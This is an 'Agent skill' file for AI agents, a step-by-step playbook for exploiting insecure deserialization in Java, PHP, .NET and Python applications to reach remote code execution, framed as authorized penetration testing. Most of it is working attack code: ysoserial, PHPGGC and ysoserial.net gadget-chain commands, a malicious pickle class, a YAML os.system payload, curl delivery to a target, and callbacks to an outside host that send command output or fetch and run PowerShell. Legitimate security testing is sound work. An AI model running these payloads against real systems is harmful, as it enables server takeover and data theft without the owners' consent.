Agent skill

exploiting-insecure-deserialization

Identifying and exploiting insecure deserialization vulnerabilities in Java, PHP, Python, and .NET applications to achieve remote code execution during authorized penetration tests.

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SKILL.md

Exploiting Insecure Deserialization

When to Use

  • During authorized penetration tests when applications process serialized data (cookies, API parameters, message queues)
  • When identifying Java serialization markers (ac ed 00 05 / rO0AB) in HTTP traffic
  • For testing PHP applications that use unserialize() on user-controlled input
  • When evaluating .NET applications using BinaryFormatter, ObjectStateFormatter, or ViewState
  • During security assessments of applications using pickle (Python), Marshal (Ruby), or YAML deserialization

Prerequisites

  • Authorization: Written penetration testing agreement with RCE testing scope
  • ysoserial: Java deserialization exploit tool (git clone https://github.com/frohoff/ysoserial.git)
  • ysoserial.net: .NET deserialization exploit tool (git clone https://github.com/pwntester/ysoserial.net.git)
  • PHPGGC: PHP deserialization gadget chain generator (git clone https://github.com/ambionics/phpggc.git)
  • Burp Suite Professional: With Java Deserialization Scanner extension
  • Java Runtime: For running ysoserial
  • Collaborator/interactsh: For out-of-band confirmation of code execution

Workflow

Step 1: Identify Serialized Data in Application Traffic

Detect serialized objects in HTTP parameters, cookies, and headers.

bash
# Java serialization markers
# Binary: starts with 0xACED0005
# Base64: starts with rO0AB
# Gzip+Base64: starts with H4sIAAAAAAAA

# Search Burp proxy history for serialization signatures
# In Burp: Proxy > HTTP History > Search > "rO0AB"

# Check cookies and parameters for Base64-encoded serialized data
echo "rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA..." | base64 -d | xxd | head

# PHP serialization format
# Looks like: O:4:"User":2:{s:4:"name";s:5:"admin";s:4:"role";s:4:"user";}
# a:2:{i:0;s:5:"hello";i:1;s:5:"world";}

# .NET ViewState
# __VIEWSTATE parameter in ASP.NET forms
# Starts with /wEP... (base64)

# Python pickle
# Base64 encoded pickle objects in cookies or API parameters
# Binary starts with 0x80 (protocol version)

# Common locations to check:
# - Session cookies
# - Hidden form fields (__VIEWSTATE, __EVENTVALIDATION)
# - API request/response bodies
# - WebSocket messages
# - Message queue payloads (JMS, RabbitMQ, Redis)
# - Cache entries (Memcached, Redis)

Step 2: Test Java Deserialization with ysoserial

Generate deserialization payloads for Java applications.

bash
# List available gadget chains
java -jar ysoserial.jar 2>&1 | grep -E "^\s+\w"

# Generate DNS callback payload for detection (safest test)
java -jar ysoserial.jar URLDNS "http://java-deser.abc123.oast.fun" | base64 -w0

# Test with Burp Collaborator
# Replace serialized cookie/parameter with generated payload
# Check Collaborator for DNS/HTTP callbacks

# Generate RCE payloads with common gadget chains
# CommonsCollections (very common in Java apps)
java -jar ysoserial.jar CommonsCollections1 "curl http://abc123.oast.fun/rce" | base64 -w0
java -jar ysoserial.jar CommonsCollections5 "whoami" | base64 -w0
java -jar ysoserial.jar CommonsCollections6 "id" | base64 -w0

# Spring Framework gadget
java -jar ysoserial.jar Spring1 "curl http://abc123.oast.fun/spring" | base64 -w0

# Hibernate gadget
java -jar ysoserial.jar Hibernate1 "curl http://abc123.oast.fun/hibernate" | base64 -w0

# Send payload via curl
PAYLOAD=$(java -jar ysoserial.jar CommonsCollections5 "curl http://abc123.oast.fun/confirm" | base64 -w0)
curl -s -X POST \
  -b "session=$PAYLOAD" \
  "https://target.example.com/dashboard"

Step 3: Test PHP Deserialization with PHPGGC

Generate PHP gadget chains for common frameworks.

bash
# List available PHP gadget chains
./phpggc -l

# Generate payloads for common PHP frameworks
# Laravel RCE
./phpggc Laravel/RCE1 system "id" -b
./phpggc Laravel/RCE5 system "whoami" -b

# Symfony RCE
./phpggc Symfony/RCE4 exec "curl http://abc123.oast.fun/php-rce" -b

# WordPress (via Guzzle)
./phpggc Guzzle/RCE1 system "id" -b

# Monolog RCE
./phpggc Monolog/RCE1 system "id" -b

# Test by injecting into cookie or parameter
PAYLOAD=$(./phpggc Laravel/RCE1 system "curl http://abc123.oast.fun/laravel" -b)
curl -s -b "serialized_data=$PAYLOAD" \
  "https://target.example.com/dashboard"

# PHP object injection via manipulated serialized string
# Original: O:4:"User":2:{s:4:"name";s:5:"admin";s:4:"role";s:4:"user";}
# Modified: O:4:"User":2:{s:4:"name";s:5:"admin";s:4:"role";s:5:"admin";}

# Test for type juggling with PHP unserialize
# Change string to integer: s:4:"role" -> i:1

Step 4: Test .NET Deserialization

Assess ViewState and other .NET serialization vectors.

bash
# Analyze .NET ViewState
# Check if ViewState MAC is enabled
# Unprotected ViewState starts with /wE and can be decoded

# Using ysoserial.net for .NET payloads
# (Run on Windows or via Mono on Linux)
./ysoserial.exe -g TypeConfuseDelegate -f ObjectStateFormatter \
  -c "curl http://abc123.oast.fun/dotnet-rce" -o base64

./ysoserial.exe -g TextFormattingRunProperties -f BinaryFormatter \
  -c "whoami" -o base64

# Test ViewState deserialization
# If __VIEWSTATEMAC is disabled or machine key is known:
./ysoserial.exe -g ActivitySurrogateSelector -f ObjectStateFormatter \
  -c "powershell -c IEX(curl http://abc123.oast.fun/ps)" -o base64

# Insert payload into __VIEWSTATE parameter and submit form

# Check for .NET remoting endpoints
curl -s "https://target.example.com/remoting/service.rem"

# BinaryFormatter in API endpoints
# Look for Content-Type: application/octet-stream
# or application/x-msbin headers

Step 5: Test Python Pickle Deserialization

Exploit pickle-based deserialization in Python applications.

python
# Generate malicious pickle payload
import pickle
import base64
import os

class Exploit:
    def __reduce__(self):
        return (os.system, ('curl http://abc123.oast.fun/pickle-rce',))

payload = base64.b64encode(pickle.dumps(Exploit())).decode()
print(f"Pickle payload: {payload}")

# Alternative: Use pickletools for analysis
import pickletools
pickletools.dis(pickle.dumps(Exploit()))
bash
# Send pickle payload
PAYLOAD=$(python3 -c "
import pickle, base64, os
class E:
    def __reduce__(self):
        return (os.system, ('curl http://abc123.oast.fun/pickle',))
print(base64.b64encode(pickle.dumps(E())).decode())
")

curl -s -X POST \
  -H "Content-Type: application/octet-stream" \
  -d "$PAYLOAD" \
  "https://target.example.com/api/import"

# Check for YAML deserialization (PyYAML)
# Payload: !!python/object/apply:os.system ['curl http://abc123.oast.fun/yaml']
curl -s -X POST \
  -H "Content-Type: application/x-yaml" \
  -d "!!python/object/apply:os.system ['curl http://abc123.oast.fun/yaml']" \
  "https://target.example.com/api/config"

Step 6: Confirm Exploitation and Document Impact

Validate successful deserialization attacks and document the impact chain.

bash
# Confirm RCE with out-of-band callback
# Check interactsh/Collaborator for:
# 1. DNS resolution of your callback domain
# 2. HTTP request with command output
# 3. Timing-based confirmation (sleep commands)

# If blind, use timing-based confirmation
# Java: Thread.sleep(10000)
java -jar ysoserial.jar CommonsCollections5 "sleep 10" | base64 -w0
# Measure if response takes ~10 seconds longer

# Exfiltrate system info (authorized testing only)
java -jar ysoserial.jar CommonsCollections5 \
  "curl http://abc123.oast.fun/\$(whoami)" | base64 -w0

# Document the gadget chain and affected library versions
# Check target classpath for vulnerable libraries:
# - commons-collections 3.x / 4.0
# - spring-core
# - hibernate-core
# - groovy

Key Concepts

Concept Description
Serialization Converting an object into a byte stream for storage or transmission
Deserialization Reconstructing an object from a byte stream, potentially executing code
Gadget Chain A sequence of existing class methods chained together to achieve arbitrary code execution
Magic Methods Special methods called automatically during deserialization (__wakeup, __destruct in PHP, readObject in Java)
ViewState ASP.NET mechanism for persisting page state, often containing serialized objects
Pickle Python's native serialization format, inherently unsafe for untrusted data
URLDNS Gadget A Java gadget that triggers DNS lookup, useful for safe deserialization detection

Tools & Systems

Tool Purpose
ysoserial Java deserialization payload generator with multiple gadget chains
ysoserial.net .NET deserialization payload generator
PHPGGC PHP Generic Gadget Chains for multiple frameworks
Burp Java Deserialization Scanner Automated detection of Java deserialization vulnerabilities
marshalsec Java unmarshaller exploitation for various libraries
Freddy (Burp Extension) Detects deserialization issues in multiple languages

Common Scenarios

Scenario 1: Java Session Cookie RCE

A Java application stores session data as serialized objects in cookies. The rO0AB prefix reveals Java serialization. Using ysoserial with CommonsCollections gadget chain achieves remote code execution.

Scenario 2: PHP Laravel Unserialize

A Laravel application passes serialized data through a hidden form field. Using PHPGGC to generate a Laravel RCE gadget chain achieves command execution when the form is submitted.

Scenario 3: .NET ViewState Without MAC

An ASP.NET application has ViewState MAC validation disabled. Using ysoserial.net to generate a malicious ViewState payload achieves code execution when the page processes the modified ViewState.

Scenario 4: Python Pickle in Redis Cache

A Python web application stores pickled objects in Redis for caching. By poisoning the cache with a malicious pickle payload, code execution is triggered when the application deserializes the cached object.

Output Format

## Insecure Deserialization Finding

**Vulnerability**: Insecure Deserialization - Remote Code Execution
**Severity**: Critical (CVSS 9.8)
**Location**: Cookie `user_session` (Java serialized object)
**OWASP Category**: A08:2021 - Software and Data Integrity Failures

### Reproduction Steps
1. Capture the `user_session` cookie value (starts with rO0AB)
2. Generate payload: java -jar ysoserial.jar CommonsCollections5 "id"
3. Base64 encode and replace the cookie value
4. Send request; command executes on the server

### Vulnerable Library
- commons-collections 3.2.1 (CVE-2015-7501)
- Java Runtime: OpenJDK 11.0.15

### Confirmed Impact
- Remote Code Execution as `tomcat` user
- Server OS: Ubuntu 22.04 LTS
- Internal network access confirmed via reverse shell
- Database credentials accessible from application config

### Recommendation
1. Avoid deserializing untrusted data; use JSON or Protocol Buffers instead
2. Upgrade commons-collections to 4.1+ (patched version)
3. Implement deserialization filters (JEP 290 for Java 9+)
4. Use allowlists for permitted classes during deserialization
5. Implement integrity checks (HMAC) on serialized data before deserialization

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